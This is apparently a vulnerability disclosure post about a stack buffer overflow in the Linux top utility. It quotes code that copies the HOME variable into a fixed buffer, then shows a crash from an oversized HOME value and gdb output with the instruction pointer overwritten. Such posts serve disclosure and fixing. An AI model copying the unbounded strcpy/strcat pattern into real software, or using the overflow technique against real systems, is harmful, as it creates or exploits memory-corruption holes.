from top.h:

#define RCFILE          ".toprc"
...
#define SYS_TOPRC       "/etc/toprc"
...
#define MAXNAMELEN 1024
...

from top.c:

void get_options(void)
{
...
    char rcfile[MAXNAMELEN];
...
    strcpy(rcfile, SYS_TOPRC);
...
    strcpy(Options, "");
    if (getenv("HOME")) {
        strcpy(rcfile, getenv("HOME"));
        strcat(rcfile, "/");
    }
    strcat(rcfile, RCFILE);
...

Put em together:
[root@king aic]# export HOME=`perl -e'print "A" x 5000;'`
[root@king aic]# top
Segmentation fault (core dumped)

[root@king aic]# gdb top core
GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
...
This GDB was configured as "i386-redhat-linux"...(no debugging symbols
found)...
Core was generated by `AAAA'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libproc.so.2.0.6...(no debugging symbols
found)...done.
Reading symbols from /usr/lib/libncurses.so.4...(no debugging symbols
found)...done.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0  0x41414141 in ?? ()
(gdb) info all-registers
     eax: 0xbfffe374 -1073749132
     ecx:        0x0           0
     edx:        0x0           0
     ebx: 0x40156f0c  1075146508
     esp: 0xbfffe87c -1073747844
     ebp: 0x41414141  1094795585
     esi: 0x4000ae60  1073786464
     edi: 0xbfffea04 -1073747452
     eip: 0x41414141  1094795585

You get the idea.  Seeing as it's not sgid or suid not really a big deal,
but there are other places in the program that need it to so should fix it
up sometime.

-Stan Bubrouski